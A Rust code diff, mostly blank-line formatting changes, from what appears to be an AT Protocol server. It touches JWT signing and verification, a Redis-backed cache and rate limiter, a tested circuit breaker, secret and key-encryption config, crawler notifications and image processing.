     create_signed_token_with_metadata(did, SCOPE_ACCESS, TOKEN_TYPE_ACCESS, key_bytes, Duration::minutes(120))
 }
+
 pub fn create_refresh_token_with_metadata(did: &str, key_bytes: &[u8]) -> Result<TokenWithMetadata> {
     create_signed_token_with_metadata(did, SCOPE_REFRESH, TOKEN_TYPE_REFRESH, key_bytes, Duration::days(90))
 }
+
 pub fn create_service_token(did: &str, aud: &str, lxm: &str, key_bytes: &[u8]) -> Result<String> {
     let signing_key = SigningKey::from_slice(key_bytes)?;
+
     let expiration = Utc::now()
         .checked_add_signed(Duration::seconds(60))
         .expect("valid timestamp")
         .timestamp();
+
     let claims = Claims {
         iss: did.to_owned(),
         sub: did.to_owned(),
···
         lxm: Some(lxm.to_string()),
         jti: uuid::Uuid::new_v4().to_string(),
     };
+
     sign_claims(claims, &signing_key)
 }
+
 fn create_signed_token_with_metadata(
     did: &str,
     scope: &str,
···
     duration: Duration,
 ) -> Result<TokenWithMetadata> {
     let signing_key = SigningKey::from_slice(key_bytes)?;
+
     let expires_at = Utc::now()
         .checked_add_signed(duration)
         .expect("valid timestamp");
+
     let expiration = expires_at.timestamp();
     let jti = uuid::Uuid::new_v4().to_string();
+
     let claims = Claims {
         iss: did.to_owned(),
         sub: did.to_owned(),
···
         lxm: None,
         jti: jti.clone(),
     };
+
     let token = sign_claims_with_type(claims, &signing_key, typ)?;
+
     Ok(TokenWithMetadata {
         token,
         jti,
         expires_at,
     })
 }
+
 fn sign_claims(claims: Claims, key: &SigningKey) -> Result<String> {
     sign_claims_with_type(claims, key, TOKEN_TYPE_SERVICE)
 }
+
 fn sign_claims_with_type(claims: Claims, key: &SigningKey, typ: &str) -> Result<String> {
     let header = Header {
         alg: "ES256K".to_string(),
         typ: typ.to_string(),
     };
+
     let header_json = serde_json::to_string(&header)?;
     let claims_json = serde_json::to_string(&claims)?;
+
     let header_b64 = URL_SAFE_NO_PAD.encode(header_json);
     let claims_b64 = URL_SAFE_NO_PAD.encode(claims_json);
+
     let message = format!("{}.{}", header_b64, claims_b64);
     let signature: Signature = key.sign(message.as_bytes());
     let signature_b64 = URL_SAFE_NO_PAD.encode(signature.to_bytes());
+
     Ok(format!("{}.{}", message, signature_b64))
 }
+
 pub fn create_access_token_hs256(did: &str, secret: &[u8]) -> Result<String> {
     Ok(create_access_token_hs256_with_metadata(did, secret)?.token)
 }
+
 pub fn create_refresh_token_hs256(did: &str, secret: &[u8]) -> Result<String> {
     Ok(create_refresh_token_hs256_with_metadata(did, secret)?.token)
 }
+
 pub fn create_access_token_hs256_with_metadata(did: &str, secret: &[u8]) -> Result<TokenWithMetadata> {
     create_hs256_token_with_metadata(did, SCOPE_ACCESS, TOKEN_TYPE_ACCESS, secret, Duration::minutes(120))
 }
+
 pub fn create_refresh_token_hs256_with_metadata(did: &str, secret: &[u8]) -> Result<TokenWithMetadata> {
     create_hs256_token_with_metadata(did, SCOPE_REFRESH, TOKEN_TYPE_REFRESH, secret, Duration::days(90))
 }
+
 pub fn create_service_token_hs256(did: &str, aud: &str, lxm: &str, secret: &[u8]) -> Result<String> {
     let expiration = Utc::now()
         .checked_add_signed(Duration::seconds(60))
         .expect("valid timestamp")
         .timestamp();
+
     let claims = Claims {
         iss: did.to_owned(),
         sub: did.to_owned(),
···
         lxm: Some(lxm.to_string()),
         jti: uuid::Uuid::new_v4().to_string(),
     };
+
     sign_claims_hs256(claims, TOKEN_TYPE_SERVICE, secret)
 }
+
 fn create_hs256_token_with_metadata(
     did: &str,
     scope: &str,
···
     let expires_at = Utc::now()
         .checked_add_signed(duration)
         .expect("valid timestamp");
+
     let expiration = expires_at.timestamp();
     let jti = uuid::Uuid::new_v4().to_string();
+
     let claims = Claims {
         iss: did.to_owned(),
         sub: did.to_owned(),
···
         lxm: None,
         jti: jti.clone(),
     };
+
     let token = sign_claims_hs256(claims, typ, secret)?;
+
     Ok(TokenWithMetadata {
         token,
         jti,
         expires_at,
     })
 }
+
 fn sign_claims_hs256(claims: Claims, typ: &str, secret: &[u8]) -> Result<String> {
     let header = Header {
         alg: "HS256".to_string(),
         typ: typ.to_string(),
     };
+
     let header_json = serde_json::to_string(&header)?;
     let claims_json = serde_json::to_string(&claims)?;
+
     let header_b64 = URL_SAFE_NO_PAD.encode(header_json);
     let claims_b64 = URL_SAFE_NO_PAD.encode(claims_json);
+
     let message = format!("{}.{}", header_b64, claims_b64);
+
     let mut mac = HmacSha256::new_from_slice(secret)
         .map_err(|e| anyhow::anyhow!("Invalid secret length: {}", e))?;
     mac.update(message.as_bytes());
+
     let signature = mac.finalize().into_bytes();
     let signature_b64 = URL_SAFE_NO_PAD.encode(signature);
+
     Ok(format!("{}.{}", message, signature_b64))
 }

src/auth/verify.rs

···
 use k256::ecdsa::{Signature, SigningKey, VerifyingKey, signature::Verifier};
 use sha2::Sha256;
 use subtle::ConstantTimeEq;
+
 type HmacSha256 = Hmac<Sha256>;
+
 pub fn get_did_from_token(token: &str) -> Result<String, String> {
     let parts: Vec<&str> = token.split('.').collect();
     if parts.len() != 3 {
         return Err("Invalid token format".to_string());
     }
+
     let payload_bytes = URL_SAFE_NO_PAD
         .decode(parts[1])
         .map_err(|e| format!("Base64 decode failed: {}", e))?;
+
     let claims: UnsafeClaims =
         serde_json::from_slice(&payload_bytes).map_err(|e| format!("JSON decode failed: {}", e))?;
+
     Ok(claims.sub.unwrap_or(claims.iss))
 }
+
 pub fn get_jti_from_token(token: &str) -> Result<String, String> {
     let parts: Vec<&str> = token.split('.').collect();
     if parts.len() != 3 {
         return Err("Invalid token format".to_string());
     }
+
     let payload_bytes = URL_SAFE_NO_PAD
         .decode(parts[1])
         .map_err(|e| format!("Base64 decode failed: {}", e))?;
+
     let claims: serde_json::Value =
         serde_json::from_slice(&payload_bytes).map_err(|e| format!("JSON decode failed: {}", e))?;
+
     claims.get("jti")
         .and_then(|j| j.as_str())
         .map(|s| s.to_string())
         .ok_or_else(|| "No jti claim in token".to_string())
 }
+
 pub fn verify_token(token: &str, key_bytes: &[u8]) -> Result<TokenData<Claims>> {
     verify_token_internal(token, key_bytes, None, None)
 }
+
 pub fn verify_access_token(token: &str, key_bytes: &[u8]) -> Result<TokenData<Claims>> {
     verify_token_internal(
         token,
···
         Some(&[SCOPE_ACCESS, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED]),
     )
 }
+
 pub fn verify_refresh_token(token: &str, key_bytes: &[u8]) -> Result<TokenData<Claims>> {
     verify_token_internal(
         token,
···
         Some(&[SCOPE_REFRESH]),
     )
 }
+
 pub fn verify_access_token_hs256(token: &str, secret: &[u8]) -> Result<TokenData<Claims>> {
     verify_token_hs256_internal(
         token,
···
         Some(&[SCOPE_ACCESS, SCOPE_APP_PASS, SCOPE_APP_PASS_PRIVILEGED]),
     )
 }
+
 pub fn verify_refresh_token_hs256(token: &str, secret: &[u8]) -> Result<TokenData<Claims>> {
     verify_token_hs256_internal(
         token,
···
         Some(&[SCOPE_REFRESH]),
     )
 }
+
 fn verify_token_internal(
     token: &str,
     key_bytes: &[u8],
···
     if parts.len() != 3 {
         return Err(anyhow!("Invalid token format"));
     }
+
     let header_b64 = parts[0];
     let claims_b64 = parts[1];
     let signature_b64 = parts[2];
+
     let header_bytes = URL_SAFE_NO_PAD
         .decode(header_b64)
         .context("Base64 decode of header failed")?;
+
     let header: Header =
         serde_json::from_slice(&header_bytes).context("JSON decode of header failed")?;
+
     if let Some(expected) = expected_typ {
         if header.typ != expected {
             return Err(anyhow!("Invalid token type: expected {}, got {}", expected, header.typ));
         }
     }
+
     let signature_bytes = URL_SAFE_NO_PAD
         .decode(signature_b64)
         .context("Base64 decode of signature failed")?;
+
     let signature = Signature::from_slice(&signature_bytes)
         .map_err(|e| anyhow!("Invalid signature format: {}", e))?;
+
     let signing_key = SigningKey::from_slice(key_bytes)?;
     let verifying_key = VerifyingKey::from(&signing_key);
+
     let message = format!("{}.{}", header_b64, claims_b64);
     verifying_key
         .verify(message.as_bytes(), &signature)
         .map_err(|e| anyhow!("Signature verification failed: {}", e))?;
+
     let claims_bytes = URL_SAFE_NO_PAD
         .decode(claims_b64)
         .context("Base64 decode of claims failed")?;
+
     let claims: Claims =
         serde_json::from_slice(&claims_bytes).context("JSON decode of claims failed")?;
+
     let now = Utc::now().timestamp() as usize;
     if claims.exp < now {
         return Err(anyhow!("Token expired"));
     }
+
     if let Some(scopes) = allowed_scopes {
         let token_scope = claims.scope.as_deref().unwrap_or("");
         if !scopes.contains(&token_scope) {
             return Err(anyhow!("Invalid token scope: {}", token_scope));
         }
     }
+
     Ok(TokenData { claims })
 }
+
 fn verify_token_hs256_internal(
     token: &str,
     secret: &[u8],
···
     if parts.len() != 3 {
         return Err(anyhow!("Invalid token format"));
     }
+
     let header_b64 = parts[0];
     let claims_b64 = parts[1];
     let signature_b64 = parts[2];
+
     let header_bytes = URL_SAFE_NO_PAD
         .decode(header_b64)
         .context("Base64 decode of header failed")?;
+
     let header: Header =
         serde_json::from_slice(&header_bytes).context("JSON decode of header failed")?;
+
     if header.alg != "HS256" {
         return Err(anyhow!("Expected HS256 algorithm, got {}", header.alg));
     }
+
     if let Some(expected) = expected_typ {
         if header.typ != expected {
             return Err(anyhow!("Invalid token type: expected {}, got {}", expected, header.typ));
         }
     }
+
     let signature_bytes = URL_SAFE_NO_PAD
         .decode(signature_b64)
         .context("Base64 decode of signature failed")?;
+
     let message = format!("{}.{}", header_b64, claims_b64);
+
     let mut mac = HmacSha256::new_from_slice(secret)
         .map_err(|e| anyhow!("Invalid secret: {}", e))?;
     mac.update(message.as_bytes());
+
     let expected_signature = mac.finalize().into_bytes();
     let is_valid: bool = signature_bytes.ct_eq(&expected_signature).into();
+
     if !is_valid {
         return Err(anyhow!("Signature verification failed"));
     }
+
     let claims_bytes = URL_SAFE_NO_PAD
         .decode(claims_b64)
         .context("Base64 decode of claims failed")?;
+
     let claims: Claims =
         serde_json::from_slice(&claims_bytes).context("JSON decode of claims failed")?;
+
     let now = Utc::now().timestamp() as usize;
     if claims.exp < now {
         return Err(anyhow!("Token expired"));
     }
+
     if let Some(scopes) = allowed_scopes {
         let token_scope = claims.scope.as_deref().unwrap_or("");
         if !scopes.contains(&token_scope) {
             return Err(anyhow!("Invalid token scope: {}", token_scope));
         }
     }
+
     Ok(TokenData { claims })
 }
+
 pub fn get_algorithm_from_token(token: &str) -> Result<String, String> {
     let parts: Vec<&str> = token.split('.').collect();
     if parts.len() != 3 {
         return Err("Invalid token format".to_string());
     }
+
     let header_bytes = URL_SAFE_NO_PAD
         .decode(parts[0])
         .map_err(|e| format!("Base64 decode failed: {}", e))?;
+
     let header: Header =
         serde_json::from_slice(&header_bytes).map_err(|e| format!("JSON decode failed: {}", e))?;
+
     Ok(header.alg)
 }

src/cache/mod.rs

···
 use base64::{Engine as _, engine::general_purpose::STANDARD as BASE64};
 use std::sync::Arc;
 use std::time::Duration;
+
 #[derive(Debug, thiserror::Error)]
 pub enum CacheError {
     #[error("Cache connection error: {0}")]
···
     #[error("Serialization error: {0}")]
     Serialization(String),
 }
+
 #[async_trait]
 pub trait Cache: Send + Sync {
     async fn get(&self, key: &str) -> Option<String>;
···
         self.set(key, &encoded, ttl).await
     }
 }
+
 #[derive(Clone)]
 pub struct ValkeyCache {
     conn: redis::aio::ConnectionManager,
 }
+
 impl ValkeyCache {
     pub async fn new(url: &str) -> Result<Self, CacheError> {
         let client = redis::Client::open(url)
···
             .map_err(|e| CacheError::Connection(e.to_string()))?;
         Ok(Self { conn: manager })
     }
+
     pub fn connection(&self) -> redis::aio::ConnectionManager {
         self.conn.clone()
     }
 }
+
 #[async_trait]
 impl Cache for ValkeyCache {
     async fn get(&self, key: &str) -> Option<String> {
···
             .ok()
             .flatten()
     }
+
     async fn set(&self, key: &str, value: &str, ttl: Duration) -> Result<(), CacheError> {
         let mut conn = self.conn.clone();
         redis::cmd("SET")
···
             .await
             .map_err(|e| CacheError::Connection(e.to_string()))
     }
+
     async fn delete(&self, key: &str) -> Result<(), CacheError> {
         let mut conn = self.conn.clone();
         redis::cmd("DEL")
···
             .map_err(|e| CacheError::Connection(e.to_string()))
     }
 }
+
 pub struct NoOpCache;
+
 #[async_trait]
 impl Cache for NoOpCache {
     async fn get(&self, _key: &str) -> Option<String> {
         None
     }
+
     async fn set(&self, _key: &str, _value: &str, _ttl: Duration) -> Result<(), CacheError> {
         Ok(())
     }
+
     async fn delete(&self, _key: &str) -> Result<(), CacheError> {
         Ok(())
     }
 }
+
 #[async_trait]
 pub trait DistributedRateLimiter: Send + Sync {
     async fn check_rate_limit(&self, key: &str, limit: u32, window_ms: u64) -> bool;
 }
+
 #[derive(Clone)]
 pub struct RedisRateLimiter {
     conn: redis::aio::ConnectionManager,
 }
+
 impl RedisRateLimiter {
     pub fn new(conn: redis::aio::ConnectionManager) -> Self {
         Self { conn }
     }
 }
+
 #[async_trait]
 impl DistributedRateLimiter for RedisRateLimiter {
     async fn check_rate_limit(&self, key: &str, limit: u32, window_ms: u64) -> bool {
···
         count <= limit as i64
     }
 }
+
 pub struct NoOpRateLimiter;
+
 #[async_trait]
 impl DistributedRateLimiter for NoOpRateLimiter {
     async fn check_rate_limit(&self, _key: &str, _limit: u32, _window_ms: u64) -> bool {
         true
     }
 }
+
 pub enum CacheBackend {
     Valkey(ValkeyCache),
     NoOp,
 }
+
 impl CacheBackend {
     pub fn rate_limiter(&self) -> Arc<dyn DistributedRateLimiter> {
         match self {
···
         }
     }
 }
+
 #[async_trait]
 impl Cache for CacheBackend {
     async fn get(&self, key: &str) -> Option<String> {
···
             CacheBackend::NoOp => None,
         }
     }
+
     async fn set(&self, key: &str, value: &str, ttl: Duration) -> Result<(), CacheError> {
         match self {
             CacheBackend::Valkey(c) => c.set(key, value, ttl).await,
             CacheBackend::NoOp => Ok(()),
         }
     }
+
     async fn delete(&self, key: &str) -> Result<(), CacheError> {
         match self {
             CacheBackend::Valkey(c) => c.delete(key).await,
···
         }
     }
 }
+
 pub async fn create_cache() -> (Arc<dyn Cache>, Arc<dyn DistributedRateLimiter>) {
     match std::env::var("VALKEY_URL") {
         Ok(url) => match ValkeyCache::new(&url).await {

src/circuit_breaker.rs

···
 use std::sync::Arc;
 use std::time::Duration;
 use tokio::sync::RwLock;
+
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub enum CircuitState {
     Closed,
     Open,
     HalfOpen,
 }
+
 pub struct CircuitBreaker {
     name: String,
     failure_threshold: u32,
···
     success_count: AtomicU32,
     last_failure_time: AtomicU64,
 }
+
 impl CircuitBreaker {
     pub fn new(name: &str, failure_threshold: u32, success_threshold: u32, timeout_secs: u64) -> Self {
         Self {
···
             last_failure_time: AtomicU64::new(0),
         }
     }
+
     pub async fn can_execute(&self) -> bool {
         let state = self.state.read().await;
+
         match *state {
             CircuitState::Closed => true,
             CircuitState::Open => {
···
                     .duration_since(std::time::UNIX_EPOCH)
                     .unwrap()
                     .as_secs();
+
                 if now - last_failure >= self.timeout.as_secs() {
                     drop(state);
                     let mut state = self.state.write().await;
···
             CircuitState::HalfOpen => true,
         }
     }
+
     pub async fn record_success(&self) {
         let state = *self.state.read().await;
+
         match state {
             CircuitState::Closed => {
                 self.failure_count.store(0, Ordering::SeqCst);
···
             CircuitState::Open => {}
         }
     }
+
     pub async fn record_failure(&self) {
         let state = *self.state.read().await;
+
         match state {
             CircuitState::Closed => {
                 let count = self.failure_count.fetch_add(1, Ordering::SeqCst) + 1;
···
             CircuitState::Open => {}
         }
     }
+
     pub async fn state(&self) -> CircuitState {
         *self.state.read().await
     }
+
     pub fn name(&self) -> &str {
         &self.name
     }
 }
+
 #[derive(Clone)]
 pub struct CircuitBreakers {
     pub plc_directory: Arc<CircuitBreaker>,
     pub relay_notification: Arc<CircuitBreaker>,
 }
+
 impl Default for CircuitBreakers {
     fn default() -> Self {
         Self::new()
     }
 }
+
 impl CircuitBreakers {
     pub fn new() -> Self {
         Self {
···
         }
     }
 }
+
 #[derive(Debug)]
 pub struct CircuitOpenError {
     pub circuit_name: String,
 }
+
 impl std::fmt::Display for CircuitOpenError {
     fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
         write!(f, "Circuit breaker '{}' is open", self.circuit_name)
     }
 }
+
 impl std::error::Error for CircuitOpenError {}
+
 pub async fn with_circuit_breaker<T, E, F, Fut>(
     circuit: &CircuitBreaker,
     operation: F,
···
             circuit_name: circuit.name().to_string(),
         }));
     }
+
     match operation().await {
         Ok(result) => {
             circuit.record_success().await;
···
         }
     }
 }
+
 #[derive(Debug)]
 pub enum CircuitBreakerError<E> {
     CircuitOpen(CircuitOpenError),
     OperationFailed(E),
 }
+
 impl<E: std::fmt::Display> std::fmt::Display for CircuitBreakerError<E> {
     fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
         match self {
···
         }
     }
 }
+
 impl<E: std::error::Error + 'static> std::error::Error for CircuitBreakerError<E> {
     fn source(&self) -> Option<&(dyn std::error::Error + 'static)> {
         match self {
···
         }
     }
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
     #[tokio::test]
     async fn test_circuit_breaker_starts_closed() {
         let cb = CircuitBreaker::new("test", 3, 2, 10);
         assert_eq!(cb.state().await, CircuitState::Closed);
         assert!(cb.can_execute().await);
     }
+
     #[tokio::test]
     async fn test_circuit_breaker_opens_after_failures() {
         let cb = CircuitBreaker::new("test", 3, 2, 10);
+
         cb.record_failure().await;
         assert_eq!(cb.state().await, CircuitState::Closed);
+
         cb.record_failure().await;
         assert_eq!(cb.state().await, CircuitState::Closed);
+
         cb.record_failure().await;
         assert_eq!(cb.state().await, CircuitState::Open);
         assert!(!cb.can_execute().await);
     }
+
     #[tokio::test]
     async fn test_circuit_breaker_success_resets_failures() {
         let cb = CircuitBreaker::new("test", 3, 2, 10);
+
         cb.record_failure().await;
         cb.record_failure().await;
         cb.record_success().await;
+
         cb.record_failure().await;
         cb.record_failure().await;
         assert_eq!(cb.state().await, CircuitState::Closed);
+
         cb.record_failure().await;
         assert_eq!(cb.state().await, CircuitState::Open);
     }
+
     #[tokio::test]
     async fn test_circuit_breaker_half_open_closes_after_successes() {
         let cb = CircuitBreaker::new("test", 3, 2, 0);
+
         for _ in 0..3 {
             cb.record_failure().await;
         }
         assert_eq!(cb.state().await, CircuitState::Open);
+
         tokio::time::sleep(Duration::from_millis(100)).await;
         assert!(cb.can_execute().await);
         assert_eq!(cb.state().await, CircuitState::HalfOpen);
+
         cb.record_success().await;
         assert_eq!(cb.state().await, CircuitState::HalfOpen);
+
         cb.record_success().await;
         assert_eq!(cb.state().await, CircuitState::Closed);
     }
+
     #[tokio::test]
     async fn test_circuit_breaker_half_open_reopens_on_failure() {
         let cb = CircuitBreaker::new("test", 3, 2, 0);
+
         for _ in 0..3 {
             cb.record_failure().await;
         }
+
         tokio::time::sleep(Duration::from_millis(100)).await;
         cb.can_execute().await;
+
         cb.record_failure().await;
         assert_eq!(cb.state().await, CircuitState::Open);
     }
+
     #[tokio::test]
     async fn test_with_circuit_breaker_helper() {
         let cb = CircuitBreaker::new("test", 3, 2, 10);
+
         let result: Result<i32, CircuitBreakerError<std::io::Error>> =
             with_circuit_breaker(&cb, || async { Ok(42) }).await;
         assert!(result.is_ok());
         assert_eq!(result.unwrap(), 42);
+
         let result: Result<i32, CircuitBreakerError<&str>> =
             with_circuit_breaker(&cb, || async { Err("error") }).await;
         assert!(result.is_err());

src/config.rs

···
 use p256::ecdsa::SigningKey;
 use sha2::{Digest, Sha256};
 use std::sync::OnceLock;
+
 static CONFIG: OnceLock<AuthConfig> = OnceLock::new();
+
 pub const ENCRYPTION_VERSION: i32 = 1;
+
 pub struct AuthConfig {
     jwt_secret: String,
     dpop_secret: String,
···
     pub signing_key_y: String,
     key_encryption_key: [u8; 32],
 }
+
 impl AuthConfig {
     pub fn init() -> &'static Self {
         CONFIG.get_or_init(|| {
···
                     );
                 }
             });
+
             let dpop_secret = std::env::var("DPOP_SECRET").unwrap_or_else(|_| {
                 if cfg!(test) || std::env::var("BSPDS_ALLOW_INSECURE_SECRETS").is_ok() {
                     "test-dpop-secret-not-for-production".to_string()
···
                     );
                 }
             });
+
             if jwt_secret.len() < 32 && std::env::var("BSPDS_ALLOW_INSECURE_SECRETS").is_err() {
                 panic!("JWT_SECRET must be at least 32 characters");
             }
+
             if dpop_secret.len() < 32 && std::env::var("BSPDS_ALLOW_INSECURE_SECRETS").is_err() {
                 panic!("DPOP_SECRET must be at least 32 characters");
             }
+
             let mut hasher = Sha256::new();
             hasher.update(b"oauth-signing-key-derivation:");
             hasher.update(jwt_secret.as_bytes());
             let seed = hasher.finalize();
+
             let signing_key = SigningKey::from_slice(&seed)
                 .unwrap_or_else(|e| panic!("Failed to create signing key from seed: {}. This is a bug.", e));
+
             let verifying_key = signing_key.verifying_key();
             let point = verifying_key.to_encoded_point(false);
+
             let signing_key_x = URL_SAFE_NO_PAD.encode(
                 point.x().expect("EC point missing X coordinate - this should never happen")
             );
             let signing_key_y = URL_SAFE_NO_PAD.encode(
                 point.y().expect("EC point missing Y coordinate - this should never happen")
             );
+
             let mut kid_hasher = Sha256::new();
             kid_hasher.update(signing_key_x.as_bytes());
             kid_hasher.update(signing_key_y.as_bytes());
             let kid_hash = kid_hasher.finalize();
             let signing_key_id = URL_SAFE_NO_PAD.encode(&kid_hash[..8]);
+
             let master_key = std::env::var("MASTER_KEY").unwrap_or_else(|_| {
                 if cfg!(test) || std::env::var("BSPDS_ALLOW_INSECURE_SECRETS").is_ok() {
                     "test-master-key-not-for-production".to_string()
···
                     );
                 }
             });
+
             if master_key.len() < 32 && std::env::var("BSPDS_ALLOW_INSECURE_SECRETS").is_err() {
                 panic!("MASTER_KEY must be at least 32 characters");
             }
+
             let hk = Hkdf::<Sha256>::new(None, master_key.as_bytes());
             let mut key_encryption_key = [0u8; 32];
             hk.expand(b"bspds-user-key-encryption", &mut key_encryption_key)
                 .expect("HKDF expansion failed");
+
             AuthConfig {
                 jwt_secret,
                 dpop_secret,
···
             }
         })
     }
+
     pub fn get() -> &'static Self {
         CONFIG.get().expect("AuthConfig not initialized - call AuthConfig::init() first")
     }
+
     pub fn jwt_secret(&self) -> &str {
         &self.jwt_secret
     }
+
     pub fn dpop_secret(&self) -> &str {
         &self.dpop_secret
     }
+
     pub fn encrypt_user_key(&self, plaintext: &[u8]) -> Result<Vec<u8>, String> {
         use rand::RngCore;
+
         let cipher = Aes256Gcm::new_from_slice(&self.key_encryption_key)
             .map_err(|e| format!("Failed to create cipher: {}", e))?;
+
         let mut nonce_bytes = [0u8; 12];
         rand::thread_rng().fill_bytes(&mut nonce_bytes);
+
         #[allow(deprecated)]
         let nonce = Nonce::from_slice(&nonce_bytes);
+
         let ciphertext = cipher
             .encrypt(nonce, plaintext)
             .map_err(|e| format!("Encryption failed: {}", e))?;
+
         let mut result = Vec::with_capacity(12 + ciphertext.len());
         result.extend_from_slice(&nonce_bytes);
         result.extend_from_slice(&ciphertext);
+
         Ok(result)
     }
+
     pub fn decrypt_user_key(&self, encrypted: &[u8]) -> Result<Vec<u8>, String> {
         if encrypted.len() < 12 {
             return Err("Encrypted data too short".to_string());
         }
+
         let cipher = Aes256Gcm::new_from_slice(&self.key_encryption_key)
             .map_err(|e| format!("Failed to create cipher: {}", e))?;
+
         #[allow(deprecated)]
         let nonce = Nonce::from_slice(&encrypted[..12]);
         let ciphertext = &encrypted[12..];
+
         cipher
             .decrypt(nonce, ciphertext)
             .map_err(|e| format!("Decryption failed: {}", e))
     }
 }
+
 pub fn encrypt_key(plaintext: &[u8]) -> Result<Vec<u8>, String> {
     AuthConfig::get().encrypt_user_key(plaintext)
 }
+
 pub fn decrypt_key(encrypted: &[u8], version: Option<i32>) -> Result<Vec<u8>, String> {
     match version.unwrap_or(0) {
         0 => Ok(encrypted.to_vec()),

src/crawlers.rs

···
 use std::time::Duration;
 use tokio::sync::{broadcast, watch};
 use tracing::{debug, error, info, warn};
+
 const NOTIFY_THRESHOLD_SECS: u64 = 20 * 60;
+
 pub struct Crawlers {
     hostname: String,
     crawler_urls: Vec<String>,
···
     last_notified: AtomicU64,
     circuit_breaker: Option<Arc<CircuitBreaker>>,
 }
+
 impl Crawlers {
     pub fn new(hostname: String, crawler_urls: Vec<String>) -> Self {
         Self {
···
             circuit_breaker: None,
         }
     }
+
     pub fn with_circuit_breaker(mut self, circuit_breaker: Arc<CircuitBreaker>) -> Self {
         self.circuit_breaker = Some(circuit_breaker);
         self
     }
+
     pub fn from_env() -> Option<Self> {
         let hostname = std::env::var("PDS_HOSTNAME").ok()?;
+
         let crawler_urls: Vec<String> = std::env::var("CRAWLERS")
             .unwrap_or_default()
             .split(',')
             .filter(|s| !s.is_empty())
             .map(|s| s.trim().to_string())
             .collect();
+
         if crawler_urls.is_empty() {
             return None;
         }
+
         Some(Self::new(hostname, crawler_urls))
     }
+
     fn should_notify(&self) -> bool {
         let now = std::time::SystemTime::now()
             .duration_since(std::time::UNIX_EPOCH)
             .unwrap_or_default()
             .as_secs();
+
         let last = self.last_notified.load(Ordering::Relaxed);
         now - last >= NOTIFY_THRESHOLD_SECS
     }
+
     fn mark_notified(&self) {
         let now = std::time::SystemTime::now()
             .duration_since(std::time::UNIX_EPOCH)
             .unwrap_or_default()
             .as_secs();
+
         self.last_notified.store(now, Ordering::Relaxed);
     }
+
     pub async fn notify_of_update(&self) {
         if !self.should_notify() {
             debug!("Skipping crawler notification due to debounce");
             return;
         }
+
         if let Some(cb) = &self.circuit_breaker {
             if !cb.can_execute().await {
                 debug!("Skipping crawler notification due to circuit breaker open");
                 return;
             }
         }
+
         self.mark_notified();
         let circuit_breaker = self.circuit_breaker.clone();
+
         for crawler_url in &self.crawler_urls {
             let url = format!("{}/xrpc/com.atproto.sync.requestCrawl", crawler_url.trim_end_matches('/'));
             let hostname = self.hostname.clone();
             let client = self.http_client.clone();
             let cb = circuit_breaker.clone();
+
             tokio::spawn(async move {
                 match client
                     .post(&url)
···
         }
     }
 }
+
 pub async fn start_crawlers_service(
     crawlers: Arc<Crawlers>,
     mut firehose_rx: broadcast::Receiver<SequencedEvent>,
···
         crawlers = ?crawlers.crawler_urls,
         "Starting crawlers notification service"
     );
+
     loop {
         tokio::select! {
             result = firehose_rx.recv() => {

src/image/mod.rs

···
 use image::{DynamicImage, ImageFormat, ImageReader, imageops::FilterType};
 use std::io::Cursor;
+
 pub const THUMB_SIZE_FEED: u32 = 200;
 pub const THUMB_SIZE_FULL: u32 = 1000;
+
 #[derive(Debug, Clone)]
 pub struct ProcessedImage {
     pub data: Vec<u8>,
···
     pub width: u32,
     pub height: u32,
 }
+
 #[derive(Debug, Clone)]
 pub struct ImageProcessingResult {
     pub original: ProcessedImage,
     pub thumbnail_feed: Option<ProcessedImage>,
     pub thumbnail_full: Option<ProcessedImage>,
 }
+
 #[derive(Debug, thiserror::Error)]
 pub enum ImageError {
     #[error("Failed to decode image: {0}")]
···
     #[error("File too large: {size} bytes exceeds maximum {max_size} bytes")]
     FileTooLarge { size: usize, max_size: usize },
 }
-pub const DEFAULT_MAX_FILE_SIZE: usize = 10 * 1024 * 1024; // 10MB
+
+pub const DEFAULT_MAX_FILE_SIZE: usize = 10 * 1024 * 1024;
+
 pub struct ImageProcessor {
     max_dimension: u32,
     max_file_size: usize,
     output_format: OutputFormat,
     generate_thumbnails: bool,
 }
+
 #[derive(Debug, Clone, Copy)]
 pub enum OutputFormat {
     WebP,
···
     Png,
     Original,
 }
+
 impl Default for ImageProcessor {
     fn default() -> Self {
         Self {
···
         }
     }
 }
+
 impl ImageProcessor {
     pub fn new() -> Self {
         Self::default()
     }
+
     pub fn with_max_dimension(mut self, max: u32) -> Self {
         self.max_dimension = max;
         self
     }
+
     pub fn with_max_file_size(mut self, max: usize) -> Self {
         self.max_file_size = max;
         self
     }
+
     pub fn with_output_format(mut self, format: OutputFormat) -> Self {
         self.output_format = format;
         self
     }
+
     pub fn with_thumbnails(mut self, generate: bool) -> Self {
         self.generate_thumbnails = generate;
         self
     }
+
     pub fn process(&self, data: &[u8], mime_type: &str) -> Result<ImageProcessingResult, ImageError> {
         if data.len() > self.max_file_size {
             return Err(ImageError::FileTooLarge {
···
             thumbnail_full,
         })
     }
+
     fn detect_format(&self, mime_type: &str, data: &[u8]) -> Result<ImageFormat, ImageError> {
         match mime_type.to_lowercase().as_str() {
             "image/jpeg" | "image/jpg" => Ok(ImageFormat::Jpeg),
···
             }
         }
     }
+
     fn decode_image(&self, data: &[u8], format: ImageFormat) -> Result<DynamicImage, ImageError> {
         let cursor = Cursor::new(data);
         let reader = ImageReader::with_format(cursor, format);
···
             .decode()
             .map_err(|e| ImageError::DecodeError(e.to_string()))
     }
+
     fn encode_image(&self, img: &DynamicImage) -> Result<ProcessedImage, ImageError> {
         let (data, mime_type) = match self.output_format {
             OutputFormat::WebP => {
···
             height: img.height(),
         })
     }
+
     fn generate_thumbnail(&self, img: &DynamicImage, max_size: u32) -> Result<ProcessedImage, ImageError> {
         let (orig_width, orig_height) = (img.width(), img.height());
         let (new_width, new_height) = if orig_width > orig_height {
···
         let thumb = img.resize(new_width, new_height, FilterType::Lanczos3);
         self.encode_image(&thumb)
     }
+
     pub fn is_supported_mime_type(mime_type: &str) -> bool {
         matches!(
             mime_type.to_lowercase().as_str(),
             "image/jpeg" | "image/jpg" | "image/png" | "image/gif" | "image/webp"
         )
     }
+
     pub fn strip_exif(data: &[u8]) -> Result<Vec<u8>, ImageError> {
         let format = image::guess_format(data)
             .map_err(|e| ImageError::DecodeError(e.to_string()))?;
···
         Ok(buf)
     }
 }
+
 #[cfg(test)]
 mod tests {
     use super::*;
+
